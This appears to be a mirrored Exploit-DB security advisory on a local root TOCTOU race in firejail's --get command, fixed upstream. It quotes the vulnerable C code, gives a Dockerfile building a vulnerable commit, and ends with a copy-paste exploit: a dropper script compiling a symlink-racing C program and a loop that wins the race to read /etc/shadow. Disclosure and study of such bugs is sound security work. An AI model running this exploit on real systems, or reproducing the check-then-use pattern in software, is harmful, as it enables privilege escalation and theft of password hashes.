Firejail – Local Privilege Escalation

  • 作者: Daniel Hodson
    日期: 2017-01-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41022/
  • # firejail advisory for TOCTOU in --get and --put (local root)
    
    Releasing a brief advisory/writeup about a local root privesc found in firejail that we reported back in Nov, 2016. This is in response to a recent [thread](http://seclists.org/oss-sec/2017/q1/20) on oss-sec where people seem interested in details of firejail security issues. This particular vulnerability was fixed in commit [e152e2d](https://github.com/netblue30/firejail/commit/e152e2d067e17be33c7e82ce438c8ae740af6a66) but no CVE was assigned.
    
    ## Vulnerability
    
    This is a TOCTOU (race condition) bug when testing access permissions with access() and then calling copy_file(). At the time of discovery, it was clear the code suffered from many insecure coding constructs like this and much more -- but there was no guideline around making security related bug reports (other than using the public issue tracker).
    
    ### Code: src/firejail/ls.c
    ~~~~
    void sandboxfs(int op, pid_t pid, const char *path) {
    EUID_ASSERT();
    
    // if the pid is that of a firejailprocess, use the pid of the first child process
    EUID_ROOT();
    char *comm = pid_proc_comm(pid);
    EUID_USER();
    if (comm) {
    if (strcmp(comm, "firejail") == 0) {
    pid_t child;
    if (find_child(pid, &child) == 0) {
    pid = child;
    }
    }
    free(comm);
    }
    
    // check privileges for non-root users
    uid_t uid = getuid();
    if (uid != 0) {
    uid_t sandbox_uid = pid_get_uid(pid);
    if (uid != sandbox_uid) {
    fprintf(stderr, "Error: permission denied.\n");
    exit(1);
    }
    }
    
    // full path or file in current directory?
    char *fname;
    if (*path == '/') {
    fname = strdup(path);
    if (!fname)
    errExit("strdup");
    }
    else if (*path == '~') {
    if (asprintf(&fname, "%s%s", cfg.homedir, path + 1) == -1)
    errExit("asprintf");
    }
    else {
    fprintf(stderr, "Error: Cannot access %s\n", path);
    exit(1);
    }
    
    // sandbox root directory
    char *rootdir;
    if (asprintf(&rootdir, "/proc/%d/root", pid) == -1)
    errExit("asprintf");
    
    if (op == SANDBOX_FS_LS) {
    EUID_ROOT();
    // chroot
    if (chroot(rootdir) < 0)
    errExit("chroot");
    if (chdir("/") < 0)
    errExit("chdir");
    
    // access chek is performed with the real UID
    if (access(fname, R_OK) == -1) {
    fprintf(stderr, "Error: Cannot access %s\n", fname);
    exit(1);
    }
    
    // list directory contents
    struct stat s;
    if (stat(fname, &s) == -1) {
    fprintf(stderr, "Error: Cannot access %s\n", fname);
    exit(1);
    }
    if (S_ISDIR(s.st_mode)) {
    char *rp = realpath(fname, NULL);
    if (!rp) {
    fprintf(stderr, "Error: Cannot access %s\n", fname);
    exit(1);
    }
    if (arg_debug)
    printf("realpath %s\n", rp);
    
    char *dir;
    if (asprintf(&dir, "%s/", rp) == -1)
    errExit("asprintf");
    
    print_directory(dir);
    free(rp);
    free(dir);
    }
    else {
    char *rp = realpath(fname, NULL);
    if (!rp) {
    fprintf(stderr, "Error: Cannot access %s\n", fname);
    exit(1);
    }
    if (arg_debug)
    printf("realpath %s\n", rp);
    char *split = strrchr(rp, '/');
    if (split) {
    *split = '\0';
    char *rp2 = split + 1;
    if (arg_debug)
    printf("path %s, file %s\n", rp, rp2);
    print_file_or_dir(rp, rp2, 1);
    }
    free(rp);
    }
    }
    
    // get file from sandbox and store it in the current directory
    else if (op == SANDBOX_FS_GET) {
    // check source file (sandbox)
    char *src_fname;
    if (asprintf(&src_fname, "%s%s", rootdir, fname) == -1)
    errExit("asprintf");
    EUID_ROOT();
    struct stat s;
    if (stat(src_fname, &s) == -1) {
    fprintf(stderr, "Error: Cannot access %s\n", fname);
    exit(1);
    }
    
    
    // try to open the source file - we need to chroot
    pid_t child = fork();
    if (child < 0)
    errExit("fork");
    if (child == 0) {
    // chroot
    if (chroot(rootdir) < 0)
    errExit("chroot");
    if (chdir("/") < 0)
    errExit("chdir");
    
    // drop privileges
    drop_privs(0);
    
    // try to read the file
    if (access(fname, R_OK) == -1) {
    fprintf(stderr, "Error: Cannot read %s\n", fname);
    exit(1);
    }
    exit(0);
    }
    
    // wait for the child to finish
    int status = 0;
    waitpid(child, &status, 0);
    if (WIFEXITED(status) && WEXITSTATUS(status) == 0);
    else
    exit(1);
    EUID_USER();
    
    // check destination file (host)
    char *dest_fname = strrchr(fname, '/');
    if (!dest_fname || *(++dest_fname) == '\0') {
    fprintf(stderr, "Error: invalid file name %s\n", fname);
    exit(1);
    }
    
    if (access(dest_fname, F_OK) == -1) {
    // try to create the file
    FILE *fp = fopen(dest_fname, "w");
    if (!fp) {
    fprintf(stderr, "Error: cannot create %s\n", dest_fname);
    exit(1);
    }
    fclose(fp);
    }
    else {
    if (access(dest_fname, W_OK) == -1) {
    fprintf(stderr, "Error: cannot write %s\n", dest_fname);
    exit(1);
    }
    }
    // copy file
    EUID_ROOT();
    copy_file(src_fname, dest_fname, getuid(), getgid(), 0644);
    printf("Transfer complete\n");
    EUID_USER();
    }
    
    free(fname);
    free(rootdir);
    
    exit(0);
    }
    ~~~~
    
    
    
    ### Code: src/firejail/util.c
    ~~~~
    int copy_file(const char *srcname, const char *destname, uid_t uid, gid_t gid, mode_t mode) {
    assert(srcname);
    assert(destname);
    
    // open source
    int src = open(srcname, O_RDONLY);
    if (src < 0) {
    fprintf(stderr, "Warning: cannot open %s, file not copied\n", srcname);
    return -1;
    }
    
    // open destination
    int dst = open(destname, O_CREAT|O_WRONLY|O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
    if (dst < 0) {
    fprintf(stderr, "Warning: cannot open %s, file not copied\n", destname);
    close(src);
    return -1;
    }
    
    // copy
    ssize_t len;
    static const int BUFLEN = 1024;
    unsigned char buf[BUFLEN];
    while ((len = read(src, buf, BUFLEN)) > 0) {
    int done = 0;
    while (done != len) {
    int rv = write(dst, buf + done, len - done);
    if (rv == -1) {
    close(src);
    close(dst);
    return -1;
    }
    
    done += rv;
    }
    }
    
    if (fchown(dst, uid, gid) == -1)
    errExit("fchown");
    if (fchmod(dst, mode) == -1)
    errExit("fchmod");
    
    close(src);
    close(dst);
    return 0;
    }
    </snip>
    ~~~~
    
    ## Testing 
    
    ### Our Dockerfile
    
    ~~~~
    FROM ubuntu:latest
    
    ENV wdir /root/firejail
    
    RUN apt-get update && apt-get install -y git gcc make
    RUN useradd -ms /bin/bash daniel && echo "daniel:password" | chpasswd
    RUN git clone https://github.com/netblue30/firejail.git ${wdir}
    WORKDIR ${wdir}
    RUN git reset --hard 81467143ee9c47d9c90e97fb55baf2d47702d372
    RUN ./configure && make && make install
    ~~~~
    
    ### Our exploit
    
    This will exploit the --get command to read /etc/shadow and print back to the console. Just copy and paste into your shell:
    
    ~~~~
    #dropper
    cat > gexp.sh <<GUEST_JAIL_SCRIPT_EOF
    mkdir -p /tmp/exploit
    cat > /tmp/exploit/gaolbreak.c <<TOCTOU_POC_END
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    
    int main(int argc, char **argv)
    {
    char *fl = "/etc/shadow";
    
    if(argc > 1) {
    fl = argv[1];
    }
    
    while(1) {
    int fd = open("owned", O_CREAT | O_RDWR, 0777);
    if(fd == -1) {
    perror("open");
    exit(1);
    }
    close(fd);
    remove("owned");
    symlink(fl, "owned");
    remove("owned");
    }
    }
    TOCTOU_POC_END
    cd /tmp/exploit
    gcc ./gaolbreak.c -o gaolbreak
    # XXX: change argv[1] to whatever you want
    ./gaolbreak /etc/shadow
    GUEST_JAIL_SCRIPT_EOF
    
    # run the dropper (symlink attack) in a jail
    chmod +x ./gexp.sh
    firejail --noprofile --force --name=el ./gexp.sh &
    
    # win race using the vulnerable 'firejail --get' command.
    mkdir exploitel
    cd exploitel
    while [ 1 ] ; do nice -n 19 firejail --get=$(pgrep -f '^firejail.*--name=el' -n) /tmp/exploit/owned >/dev/null 2>&1; cat owned 2>/dev/null; done
    ~~~~